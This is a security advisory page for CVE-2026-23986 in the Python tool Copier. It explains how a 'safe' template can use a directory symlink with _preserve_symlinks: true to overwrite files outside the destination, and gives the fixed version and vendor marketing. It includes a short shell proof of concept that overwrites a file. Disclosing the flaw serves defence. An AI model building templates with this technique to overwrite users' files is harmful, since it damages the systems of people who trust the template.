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🐍 PyPI

GHSA-4fqp-r85r-hxqh

HIGH

Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true

Also known asCVE-2026-23986
Published
Jan 21, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk13th percentile+0.14%
0.00%0.24%0.48%0.72%0.0%0.2%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍copier

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with _preserve_symlinks: true and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

[!NOTE]

At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using os.scandir which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt
# overwritten

Patches

n/a

Workarounds

n/a

References

n/a

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIcopierall versions9.11.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for copier. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update copier to 9.11.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4fqp-r85r-hxqh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4fqp-r85r-hxqh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4fqp-r85r-hxqh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/sta
O3 Security · Impact-Aware SCA

Is GHSA-4fqp-r85r-hxqh in your dependencies?

O3 detects GHSA-4fqp-r85r-hxqh across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.